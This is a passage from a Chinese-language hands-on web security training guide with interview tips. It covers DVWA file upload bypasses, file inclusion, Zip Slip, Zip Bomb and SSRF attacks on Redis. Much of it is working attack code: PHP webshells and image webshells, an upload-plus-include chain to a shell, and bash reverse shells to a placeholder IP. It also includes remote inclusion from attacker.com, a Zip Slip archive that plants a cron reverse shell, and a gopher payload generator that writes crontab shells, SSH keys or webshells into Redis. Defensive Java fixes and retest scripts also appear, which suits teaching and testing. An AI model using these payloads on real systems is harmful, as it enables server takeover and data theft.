PASS=$((PASS+1))
else
echo " ✗ [存在风险] 无 CSRF Token 的 POST 返回 HTTP $CODE"
FAIL=$((FAIL+1))
fi
# 带错误 Referer 的请求,应该被拒绝
CODE2=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
-H "Referer: http://evil.com/" \
"$TARGET/api/change-password" -d "newPass=hacked123")
[ "$CODE2" = "403" ] && { echo " ✓ [已防护] 跨站 Referer 被拒绝"; PASS=$((PASS+1)); } \
|| { echo " ✗ [存在风险] 跨站 Referer 未被拒绝"; FAIL=$((FAIL+1)); }
echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS 失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过" || echo "!! 仍有 $FAIL 项有风险"
3.6 面试怎么讲
30 秒口述版
“我在 DVWA 上做过完整的 XSS 实验。反射型我用
new Image().src把document.cookie发到了自己的接收端,然后用偷来的 PHPSESSID 直接登录了 admin——完全不需要密码。存储型那个更直观:我在留言板里提交了一段脚本,之后用另一个浏览器打开页面,Cookie 就被偷了。后来我上了 BeEF,用它接管了受害者的浏览器,能偷浏览历史、能扫内网、还能用 Pretty Theft 弹出一个跟原站一模一样的登录框骗密码——这个对我的冲击挺大的。
印象最深的是 HttpOnly 的对比实验:开了 HttpOnly 之后
document.cookie就读不到了,但页面上显示的身份证号还是能被偷走,也能以用户名义发请求。所以 HttpOnly 只是减轻后果,不是防止 XSS,真正的防线是输出编码加 CSP。CSP 我也做过绕过实验,发现配了
unsafe-inline或者白名单里有 JSONP 端点的话,CSP 基本等于没配。所以正确做法是用 nonce,而且要先Report-Only观察一两周再切正式模式。“
第四章:文件上传与文件包含实战
本章目标:亲手绕过文件上传的每一道防线,最终通过“图片马 + 文件包含”拿到 shell。
预计耗时:2 小时
4.1 逐层绕过上传防护(DVWA 四个等级)
4.1.1 Low 等级:无防护
# 准备一个 PHP webshell
cat > /tmp/shell.php <<'EOF'
<?php
if(isset($_POST['cmd'])){
echo "<pre>";
system($_POST['cmd']);
echo "</pre>";
}
?>
EOF
# 直接上传
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/shell.php" \
-F "Upload=Upload" \
"http://127.0.0.1:8080/vulnerabilities/upload/" \
| grep -oP "(succeeded|failed|Your image was not uploaded)" | head -1
# 预期输出:succeeded ← ★ 直接上传成功
# 访问并执行
curl -s -X POST "http://127.0.0.1:8080/hackable/uploads/shell.php" -d "cmd=id"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
看漏洞源码(什么都没校验):
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// ★ 直接用客户端给的文件名,没做任何校验
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
4.1.2 Medium 等级:校验 Content-Type
<?php
// DVWA medium 的源码
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // ★ 客户端传的 MIME
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) {
// 允许上传
}
?>
绕过(Burp 改包,30 秒搞定):
1. Burp 开启拦截
2. 页面上传 shell.php
3. Burp 拦截到请求,找到这段:
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php ← ★ 改这一行
<?php system($_POST['cmd']); ?>
------WebKitFormBoundaryABC123--
4. 改成:
Content-Type: image/jpeg ← ★ 改成图片类型
5. Forward 放包 → 上传成功
curl 等价命令:
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/shell.php;type=image/jpeg" \
-F "Upload=Upload" \
"http://127.0.0.1:8080/vulnerabilities/upload/" \
| grep -oP "(succeeded|not uploaded)"
# ★ 关键点:-F 后面加 ;type=image/jpeg 指定 Content-Type
★★ 核心认知:Content-Type 是客户端自己填的,和文件名一样不可信。 它唯一的作用是“告诉服务器这是什么类型”,但服务器完全可以自己去检查文件的真实内容——这就是下一节的魔数校验。
4.1.3 High 等级:校验文件头魔数 + 扩展名
<?php
// DVWA high 的源码
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
// ★ 扩展名白名单
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg"
|| strtolower( $uploaded_ext ) == "png" )
// ★ 校验文件内容(getimagesize 会读文件头)
&& ( $uploaded_size < 100000 )
&& getimagesize( $uploaded_tmp ) ) {
// 允许上传
}
?>
绕过方法一:制作图片马(★ 核心技巧)
# 方式 1:在合法图片后面追加 PHP 代码
cp /tmp/normal.jpg /tmp/ma.jpg
echo '<?php system($_POST["cmd"]); ?>' >> /tmp/ma.jpg
# 方式 2:在图片 EXIF 注释里写马(更隐蔽)
# exiftool(需安装):
exiftool -Comment='<?php system($_POST["cmd"]); ?>' /tmp/normal.jpg -o /tmp/ma2.jpg
# 方式 3:用 copy 命令合成(Windows)
# copy normal.jpg /b + shell.php /a ma3.jpg
# ★ 关键:文件头是合法的图片数据(getimagesize 能识别),
# 但文件尾藏着 PHP 代码
# 验证:getimagesize 能识别吗?
php -r 'var_dump(getimagesize("/tmp/ma.jpg"));'
# 输出:
# array(7) {
# [0]=> int(800) ← 宽度
# [1]=> int(600) ← 高度
# [2]=> int(2) ← 图片类型 2=JPEG
# ...
# }
# ★ 识别为合法图片,校验通过
# 上传
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/ma.jpg;type=image/jpeg" \
-F "Upload=Upload" \
"http://127.0.0.1:8080/vulnerabilities/upload/" \
| grep -oP "(succeeded|not uploaded)"
# 预期:succeeded
问题:上传了 .jpg,但 PHP 不会执行 .jpg 文件。怎么办?
→ 这就是下一个实验:文件包含漏洞。我们需要让 PHP 去“包含”这个 jpg 文件,里面的 PHP 代码就会被执行。
4.1.4 Impossible 等级:正确的实现
<?php
// DVWA impossible 的源码 —— ★ 这是标准答案
if( isset( $_POST[ 'Upload' ] ) ) {
// ① 校验 CSRF Token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// ② ★★ 目标文件名【服务端随机生成】,完全不用客户端给的名字
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' )
? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// ③ 扩展名白名单 + Content-Type 白名单 + 大小限制
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg'
|| strtolower( $uploaded_ext ) == 'png' )
&& ( $uploaded_size < 100000 )
&& ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' )
// ④ ★★ 校验【真实 MIME】,不是客户端传的
&& getimagesize( $uploaded_tmp ) ) {
// ⑤ ★★★ 二次渲染:重新编码图片,把藏在里面的 PHP 代码彻底抹掉
if( $uploaded_type == 'image/png' ) {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9 );
} else {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100 );
}
imagedestroy( $img );
// ⑥ 存到 Web 根目录之外,或独立的静态服务器
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path
. $target_file ) ) ) {
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a>
succesfully uploaded!</pre>";
}
// ⑦ 重新生成 anti-CSRF token
generateSessionToken();
}
}
?>
★ 五道防线总结:
| # | 防线 | 防住了什么 |
|---|---|---|
| 1 | 扩展名白名单 | .php、.jsp 等脚本文件 |
| 2 | 校验真实 MIME(getimagesize) |
改 Content-Type 绕过 |
| 3 | 服务端随机文件名 | 路径穿越(../)、覆盖已有文件 |
| 4 | 二次渲染 | ★ 图片马(恶意代码在重新编码时丢失) |
| 5 | 存到 Web 目录之外 / 对象存储 | 即使上传了恶意文件也访问不到、执行不了 |
4.2 文件包含漏洞(★ 图片马的“引信”)
原理:页面用参数决定“包含哪个文件”,参数可控 → 可以包含任意文件。
这是“图片马”能被执行的唯一途径——因为 PHP 引擎只解析
.php文件, 但include()会把被包含的文件当作 PHP 代码执行,不管它是什么扩展名。
4.2.1 本地文件包含(LFI)
# DVWA → File Inclusion
# URL: /vulnerabilities/fi/?page=file1.php
# ① 读系统文件
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=/etc/passwd" \
| grep -E "root:|www-data:" | head -5
# 预期输出:
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ② 路径穿越(../../)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=../../../../etc/passwd"
# ③ 读 PHP 源码(用 php://filter 编码输出,避免被执行)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php" \
| base64 -d | head -30
# ★ 这个技巧能读到 PHP 源码(里面可能有数据库密码!)
4.2.2 ★★ 图片马 + 文件包含 = GetShell(完整链)
# ═══ 完整攻击链 ═══
# ① 制作图片马
cp /tmp/normal.jpg /tmp/ma.jpg
echo '<?php system($_GET["c"]); ?>' >> /tmp/ma.jpg
# ② 上传到 DVWA(high 等级,能过 getimagesize)
UP=$(curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/ma.jpg;type=image/jpeg" \
-F "Upload=Upload" \
"http://127.0.0.1:8080/vulnerabilities/upload/")
echo "$UP" | grep -oP "hackable/uploads/\K[^']+"
# 预期输出:ma.jpg (因为原文件名被保留了)
# ③ 用文件包含漏洞去"包含"这张图片
# ★★ 关键:include() 会把 .jpg 内容当 PHP 执行!
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=../../hackable/uploads/ma.jpg&c=id" \
| grep -E "uid=|www-data"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# ★★★ GetShell 成功!
# ④ 反弹 shell
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=../../hackable/uploads/ma.jpg" \
--data-urlencode "c=bash -i >& /dev/tcp/你的IP/4444 0>&1"
★ 为什么这个组合这么经典?
单独看,两个漏洞都不算致命:
- 文件上传:只能传图片,传不了 .php
- 文件包含:只能包含服务器已有的文件
组合起来 = RCE:
上传图片马(突破上传白名单)
↓
文件包含执行它(突破扩展名限制)
↓
★ 任何一个单独看都"不算严重"的漏洞,组合起来就能拿下服务器
→ 这就是"攻击链"的概念,也是为什么安全评审要【全局看】而不是【逐个漏洞看】
4.2.3 远程文件包含(RFI)
# 如果 allow_url_include = On,还能包含远程文件
# 攻击者把自己的 shell 放在自己的服务器上,让目标去包含
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/fi/?page=http://attacker.com/shell.txt&c=id"
# ★ 这个更狠:连上传都不用了
修复:
# php.ini —— 必须关掉
allow_url_include = Off # ★ 禁远程包含
allow_url_fopen = Off # 禁远程文件打开
open_basedir = /var/www/html:/tmp # ★ 限制 PHP 只能访问这些目录
// Java 侧的等价防护
@GetMapping("/download")
public void download(@RequestParam String file, HttpServletResponse resp) {
// ❌ 危险:直接拼接
// Path p = Paths.get(BASE_DIR + file);
// ✅ 正确:三重校验
Path baseDir = Paths.get("/data/files").toRealPath();
Path requested = baseDir.resolve(file).normalize().toRealPath();
// ★ 关键:确认解析后的真实路径仍在 baseDir 内
if (!requested.startsWith(baseDir)) {
throw new SecurityException("非法路径: " + file);
}
// 还要校验文件名不含 .. 和绝对路径
if (file.contains("..") || file.startsWith("/") || file.contains("\\")) {
throw new SecurityException("非法文件名");
}
Files.copy(requested, resp.getOutputStream());
}
4.3 Zip Slip 与 Zip Bomb(解压功能的坑)
4.3.1 Zip Slip(路径穿越覆盖系统文件)
#!/usr/bin/env python3
"""构造 Zip Slip 攻击包"""
import zipfile
# 恶意文件名:用 ../../ 穿越到系统目录
# 目标:解压后覆盖 /etc/cron.d/ 下的计划任务 → 定时执行我们的命令
payload = b"* * * * * root bash -i >& /dev/tcp/你的IP/4444 0>&1\n"
with zipfile.ZipFile('/tmp/zipslip.zip', 'w') as z:
# ★ 文件名里带 ../ ,解压时会"逃出"目标目录
z.writestr('../../../../etc/cron.d/pwn', payload)
# 也可以覆盖 SSH key、.bashrc 等
print("[+] 已生成 /tmp/zipslip.zip")
print(" 恶意路径: ../../../../etc/cron.d/pwn")
# 验证
with zipfile.ZipFile('/tmp/zipslip.zip') as z:
for n in z.namelist():
print(" 包含条目:", n)
// ❌ 漏洞代码
public void unzip(MultipartFile file, String destDir) throws IOException {
try (ZipInputStream zis = new ZipInputStream(file.getInputStream())) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
// ★ 直接用压缩包里的文件名,没有校验路径
Path p = Paths.get(destDir, entry.getName());
Files.copy(zis, p); // → 写到了 destDir/../../etc/cron.d/pwn
}
}
}
// ✅ 修复代码
public void unzipSafe(MultipartFile file, String destDir) throws IOException {
Path destDirPath = Paths.get(destDir).toRealPath();
int entryCount = 0;
long totalSize = 0;
try (ZipInputStream zis = new ZipInputStream(file.getInputStream())) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
// ① 条目数量限制(防 Zip Bomb)
if (++entryCount > 1000) throw new SecurityException("压缩包条目过多");
// ② 解析并规范化路径
Path target = destDirPath.resolve(entry.getName()).normalize();
// ③ ★★ 关键:确认规范化后仍在目标目录内
if (!target.startsWith(destDirPath)) {
throw new SecurityException("检测到路径穿越: " + entry.getName());
}
if (entry.isDirectory()) {
Files.createDirectories(target);
continue;
}
// ④ 解压后大小限制(防 Zip Bomb)
byte[] buf = new byte[8192];
int n;
while ((n = zis.read(buf)) > 0) {
totalSize += n;
if (totalSize > 100 * 1024 * 1024) { // 100MB 上限
throw new SecurityException("解压后数据过大");
}
// 写入
}
}
}
}
4.3.2 Zip Bomb(解压炸弹)
# 生成一个 42KB 的压缩包,解压后是 4.5PB(经典 42.zip)
# 这里生成一个温和版的(10MB,别把自己机器搞崩)
python3 - <<'PY'
import zipfile
# 创建多层嵌套:每层 10 个文件,每个文件是上一层的内容
# 简化版:直接创建一个包含大量重复数据的包
with zipfile.ZipFile('/tmp/bomb.zip','w',zipfile.ZIP_DEFLATED) as z:
# 1GB 的零字节,压缩后几乎为 0
z.writestr('big.bin', b'\0' * (100 * 1024 * 1024)) # 100MB
print("生成完毕")
PY
ls -lh /tmp/bomb.zip
# 预期:-rw-r--r-- 1 user user 100K /tmp/bomb.zip
# ★ 100KB 的文件,解压出来 100MB(压缩比 1000:1)
# 极端情况:42.zip 是 42KB → 4.5PB(压缩比 1 亿:1)
# 服务器一解压,磁盘瞬间写满 → DoS
防御指标:
// 四个限制,缺一不可
int MAX_ENTRIES = 1000; // 条目数
long MAX_TOTAL_SIZE = 100 * 1024 * 1024; // 解压后总大小 100MB
long MAX_SINGLE = 20 * 1024 * 1024; // 单文件 20MB
double MAX_RATIO = 100.0; // ★ 压缩比超过 100 就拒绝
// 压缩比校验
long compressed = file.getSize();
// 边解压边累计 uncompressed,实时判断
if (uncompressed > compressed * MAX_RATIO) {
throw new SecurityException("压缩比异常,疑似 Zip Bomb");
}
4.4 修复与复测
4.4.1 完整的 Java 文件上传安全实现
@RestController
@RequestMapping("/api/file")
public class SecureUploadController {
// ★ 白名单:扩展名 → 魔数
private static final Map<String, String> ALLOWED = Map.of(
"jpg", "FFD8FF",
"jpeg", "FFD8FF",
"png", "89504E47",
"gif", "47494638",
"pdf", "25504446"
);
private static final long MAX_SIZE = 10 * 1024 * 1024; // 10MB
@PostMapping("/upload")
public Map<String, Object> upload(@RequestParam("file") MultipartFile file) {
// ① 大小校验
if (file.getSize() > MAX_SIZE) {
return fail("文件超过 10MB");
}
// ② 扩展名白名单
String original = file.getOriginalFilename();
String ext = getExt(original).toLowerCase();
if (!ALLOWED.containsKey(ext)) {
return fail("不支持的文件类型: " + ext);
}
// ③ ★ 魔数校验(读文件头,不信客户端传的 Content-Type)
String magic = readMagic(file);
if (!ALLOWED.get(ext).startsWith(magic)) {
return fail("文件内容与扩展名不符(可能是伪装的)");
}
// ④ ★★ 图片二次渲染(干掉图片马和 EXIF)
byte[] cleaned;
try {
BufferedImage img = ImageIO.read(file.getInputStream());
if (img == null) return fail("不是有效的图片");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(img, ext.equals("png") ? "png" : "jpg", baos);
cleaned = baos.toByteArray();
} catch (Exception e) {
return fail("图片处理失败: " + e.getMessage());
}
// ⑤ ★★★ 服务端随机文件名(不用客户端给的任何东西)
String newName = UUID.randomUUID().toString().replace("-", "") + "." + ext;
// ⑥ ★★★ 存到对象存储(私有桶),不存应用服务器
String url = ossClient.putObject("my-private-bucket",
"uploads/" + newName, cleaned);
// ⑦ 病毒扫描(可选,敏感场景必做)
// if (clamAv.scan(cleaned).isInfected()) return fail("文件含病毒");
// ⑧ 审计日志
log.info("文件上传: user={}, original={}, stored={}, size={}, ip={}",
currentUserId(), original, newName, cleaned.length, getClientIp());
return Map.of("code", 0, "url", url, "name", newName);
}
private String readMagic(MultipartFile file) {
try (InputStream in = file.getInputStream()) {
byte[] b = new byte[8];
int n = in.read(b);
StringBuilder sb = new StringBuilder();
for (int i = 0; i < n; i++) sb.append(String.format("%02X", b[i]));
return sb.toString();
} catch (IOException e) {
return "";
}
}
private String getExt(String name) {
int i = name == null ? -1 : name.lastIndexOf('.');
return i < 0 ? "" : name.substring(i + 1);
}
}
4.4.2 复测脚本
#!/usr/bin/env bash
# verify_upload.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0
try_upload() {
local file="$1"; local ctype="$2"; local desc="$3"
local resp=$(curl -s -X POST "$TARGET/api/file/upload" \
-F "file=@$file;type=$ctype")
if echo "$resp" | grep -q '"code":0\|"url"'; then
echo " ✗ [上传成功] $desc ← 不应该成功!"
FAIL=$((FAIL+1))
else
echo " ✓ [已拦截] $desc"
PASS=$((PASS+1))
fi
}
echo "════════ 文件上传复测 ════════"
# 准备测试文件
echo '<?php system($_GET["c"]); ?>' > /tmp/t_shell.php
echo '<?php system($_GET["c"]); ?>' > /tmp/t_shell.php.jpg
cp /tmp/normal.jpg /tmp/t_ma.jpg 2>/dev/null || \
python3 -c "open('/tmp/t_ma.jpg','wb').write(bytes.fromhex('ffd8ffe000104a46494600010100000100010000ffd9'))"
echo '<?php system($_GET["c"]); ?>' >> /tmp/t_ma.jpg
try_upload "/tmp/t_shell.php" "application/x-php" "PHP 脚本"
try_upload "/tmp/t_shell.php.jpg" "image/jpeg" "双扩展名"
try_upload "/tmp/t_shell.php" "image/jpeg" "改 Content-Type 绕过"
try_upload "/tmp/t_ma.jpg" "image/jpeg" "图片马"
echo ""
echo "════════ 路径穿越复测 ════════"
# 构造带 ../ 的文件名
curl -s -X POST "$TARGET/api/file/upload" \
-F 'file=@/tmp/t_ma.jpg;filename=../../../../etc/cron.d/pwn;type=image/jpeg' \
| grep -q '"code":0' && \
{ echo " ✗ [仍可穿越] 文件名含 ../ 被接受"; FAIL=$((FAIL+1)); } || \
{ echo " ✓ [已拦截] 路径穿越文件名"; PASS=$((PASS+1)); }
echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS 失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过" || echo "!! 仍有 $FAIL 项可被绕过"
4.5 面试怎么讲
30 秒口述版
“文件上传我做的是逐层绕过的实验。DVWA 的 low 等级什么都不校验,直接传 php 就 getshell 了;medium 只校验 Content-Type,用 Burp 改一个包就绕过了;high 加了
getimagesize校验文件头,我就做图片马——在一张正常 jpg 后面追加 PHP 代码,文件头还是合法的,校验能过。但传上去是 .jpg,PHP 不会执行它。这时候我结合 DVWA 的文件包含漏洞,用
?page=../../uploads/ma.jpg去包含它——include 会把被包含的文件当 PHP 执行,不管它是什么扩展名,这样就拿到了 shell。这个实验给我的启发是:文件上传和文件包含单独看都不算致命,组合起来就是 RCE。所以做安全评审不能只看单个漏洞,要看它们之间的组合。
修复上我总结了五道防线:扩展名白名单、校验真实 MIME、服务端随机文件名、二次渲染、存对象存储。其中最容易被忽略的是二次渲染——它能一次性干掉图片马和 EXIF 里藏的东西。“
第五章:SSRF 实战(★ 云上最危险)
本章目标:理解为什么 SSRF 在云环境下是“最危险”的漏洞——它不只是扫内网,而是能直接拿走你的云账号钥匙。
实验环境:自建 Spring Boot 靶场 + Vulhub Redis
预计耗时:3 小时
5.0 为什么 SSRF 在云上特别危险
传统机房的 SSRF:
你的服务器 → 内网其他机器
危害:扫描内网、打未授权服务
范围:★ 局限在一个机房的内网
云上的 SSRF:
你的服务器 → 169.254.169.254(云元数据服务)
→ 拿到【临时 AK/SK】
→ 用 AK 操作你的 OSS / RDS / ECS / 所有云资源
危害:★★ 从"一台服务器"升级到"整个云账号"
范围:整个 VPC,甚至跨地域
★ 关键差异:云厂商把"身份凭证"放在了一个【内网地址】上,
而 SSRF 恰恰能让攻击者以服务器的身份去访问内网地址。
这两件事撞在一起,就产生了质变。
真实案例:
- 2019 年 Capital One 数据泄露:攻击者利用 AWS WAF 的 SSRF 漏洞访问元数据服务,拿到临时凭证,最终窃取了 1 亿条用户记录。负责人被判监禁。
- 2021 年 Microsoft Exchange(ProxyLogon 链条之一):SSRF + 其他漏洞组合,影响全球数万台服务器。
5.1 基础 SSRF:探测内网
5.1.1 用自建靶场练手
# 确保靶场已启动
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://example.com" | head -5
# ═══ 实验 1:探测自己 ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8888/actuator/env" | head -30
# ★ 我们让服务器访问了它自己的 Actuator 端点
# 从外部看,8888 端口可能只对内网开放,但通过 SSRF 就能访问到
# ═══ 实验 2:读本地文件(file 协议) ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=file:///etc/passwd"
# 预期输出:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
# ═══ 实验 3:扫内网端口(★ 端口扫描器) ═══
for port in 22 80 443 3306 6379 8080 8888 9200 11211 27017; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
--max-time 3 \
"http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:$port/")
echo "port $port -> HTTP $code"
done
# 预期输出(示例):
# port 22 -> HTTP 000 (连接失败/超时)
# port 80 -> HTTP 200
# port 6379 -> HTTP 200 ← Redis 端口开放!
# port 8888 -> HTTP 200
#
# ★ 通过"响应时间"和"错误信息"能进一步区分端口是否开放
★ 更精确的端口探测脚本(利用响应时间差):
#!/usr/bin/env python3
"""SSRF 内网端口扫描器"""
import requests, time, concurrent.futures
SSRF = "http://127.0.0.1:8888/ssrf/fetch"
def probe(target):
"""返回 (target, 是否存活, 耗时, 响应片段)"""
try:
start = time.time()
r = requests.get(SSRF, params={"url": target}, timeout=10)
cost = time.time() - start
body = r.text[:100]
# 判断是否"连接被拒绝"(说明端口关闭)
refused = any(k in body for k in
["Connection refused", "拒绝连接", "connect: Connection refused"])
return (target, not refused, round(cost, 2), body.replace("\n", " ")[:60])
except Exception as e:
return (target, False, 0, str(e)[:50])
if __name__ == "__main__":
hosts = ["127.0.0.1", "172.20.0.1", "172.20.0.2", "172.20.0.3"]
ports = [22, 80, 443, 3306, 6379, 8080, 8888, 9200, 11211, 27017, 2379, 10250]
targets = [f"http://{h}:{p}/" for h in hosts for p in ports]
print(f"[*] 扫描 {len(targets)} 个目标...\n")
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as ex:
for target, alive, cost, snippet in ex.map(probe, targets):
if alive:
print(f" [+] {target:35s} 耗时{cost:5.2f}s {snippet}")
pip3 install requests && python3 ssrf_scan.py
5.2 gopher 协议打 Redis(★ 经典中的经典)
这是 SSRF 利用里最精妙的一个技巧,也是面试的高频考点。
原理:Redis 的协议(RESP)是纯文本的,而 gopher 协议能构造任意 TCP 报文。 所以我们可以用 gopher 把 Redis 命令“伪装”成一个 URL,让 SSRF 漏洞去“访问”这个 URL, 实际上是向 Redis 发送了命令。
5.2.1 先起一个无密码的 Redis
docker run -d --name redis-vuln --network lab-net \
-p 127.0.0.1:6379:6379 \
redis:5.0.14 \
redis-server --appendonly no --protected-mode no
sleep 3
# 确认无密码
redis-cli -h 127.0.0.1 -p 6379 ping
# 预期:PONG
# ★ 如果能直接 PONG,说明无认证
5.2.2 理解 Redis 的 RESP 协议
# 用 redis-cli 看一下真实的网络报文
# 开一个抓包(或用 MONITOR)
redis-cli -h 127.0.0.1 -p 6379 SET mykey "hello"
# 实际发送的网络报文是:
# *3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$5\r\nhello\r\n
#
# ★ RESP 协议格式:
# *3 → 这是一个数组,有 3 个元素
# $3\r\nSET → 第 1 个元素:长度 3 的字符串 "SET"
# $5\r\nmykey → 第 2 个元素:长度 5 的 "mykey"
# $5\r\nhello → 第 3 个元素:长度 5 的 "hello"
#
# ★★ 关键:全部是文本!所以可以用 gopher:// 构造
5.2.3 生成 gopher payload
#!/usr/bin/env python3
"""生成 SSRF 打 Redis 的 gopher payload
★ 这个脚本一定要读懂,面试常问"gopher 打 Redis 的原理" """
from urllib.parse import quote
def resp(*args):
"""把命令转成 RESP 协议格式"""
out = f"*{len(args)}\r\n"
for a in args:
a = str(a)
out += f"${len(a)}\r\n{a}\r\n"
return out
def gopher_url(host, port, payload):
"""★ 核心:把 RESP 报文包进 gopher URL"""
# gopher://host:port/_ + URL编码后的报文
# 注意:_ 后面的内容会被原样发给目标端口
return f"gopher://{host}:{port}/_" + quote(payload)
# ════════════════════════════════════════════
# 场景 1:写 crontab 反弹 shell(最经典)
# ════════════════════════════════════════════
ATTACKER_IP = "172.20.0.1" # ★ 改成你的 IP
ATTACKER_PORT = 4444
cron = f"\n\n*/1 * * * * bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1\n\n"
p1 = (
resp("flushall") +
resp("set", "1", cron) +
resp("config", "set", "dir", "/var/spool/cron/") +
resp("config", "set", "dbfilename", "root") +
resp("save") +
resp("quit")
)
print("【1】写 crontab 反弹 shell:")
print(gopher_url("127.0.0.1", 6379, p1))
print()
# ════════════════════════════════════════════
# 场景 2:写 SSH 公钥(需要 root 运行 + 开启密钥登录)
# ════════════════════════════════════════════
ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...攻击者自己的公钥"
p2 = (
resp("flushall") +
resp("set", "1", f"\n\n{ssh_key}\n\n") +
resp("config", "set", "dir", "/root/.ssh/") +
resp("config", "set", "dbfilename", "authorized_keys") +
resp("save") +
resp("quit")
)
print("【2】写 SSH 公钥:")
print(gopher_url("127.0.0.1", 6379, p2))
print()
# ════════════════════════════════════════════
# 场景 3:写 webshell
# ════════════════════════════════════════════
webshell = '<?php @eval($_POST["cmd"]);?>'
p3 = (
resp("flushall") +
resp("set", "1", f"\n\n{webshell}\n\n") +
resp("config", "set", "dir", "/var/www/html/") +
resp("config", "set", "dbfilename", "shell.php") +
resp("save") +
resp("quit")
)
print("【3】写 webshell:")
print(gopher_url("127.0.0.1", 6379, p3))
print()
# ════════════════════════════════════════════
# 场景 4:Redis 主从复制 RCE(★ 最强,推荐先验证这个)
# ════════════════════════════════════════════
# 原理:把自己伪装成主库,让目标 Redis 成为从库
# 然后同步一个恶意的 .so 模块过去,MODULE LOAD 加载它
# 工具:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# 或 https://github.com/Ridter/redis-rce
# 这里只给原理说明,实际用现成工具
print("【4】主从复制 RCE:")
print(" 用 redis-rce.py:")
print(" python3 redis-rce.py -r 127.0.0.1 -p 6379 -L 你的IP -f exp.so")
5.2.4 完整攻击演示
# ═══ 准备工作 ═══
# ① 起一个 Redis(无密码、root 运行 —— 模拟最常见的错误配置)
docker run -d --name redis-vuln --network lab-net \
-p 127.0.0.1:6379:6379 \
redis:5.0.14 redis-server --protected-mode no
sleep 3
# ② 生成 payload
python3 gen_gopher.py > /tmp/payloads.txt
# ═══ 步骤 1:先验证 SSRF 能连到 Redis ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A"
# 预期输出:+PONG
#
# ★★ 看到 PONG 的那一刻你就明白了:
# SSRF 漏洞变成了"任意 TCP 客户端"
# 它能和任何基于文本的协议对话:Redis、MySQL、Memcached、SMTP、FTP...
# ═══ 步骤 2:执行 info 看 Redis 版本和目录 ═══
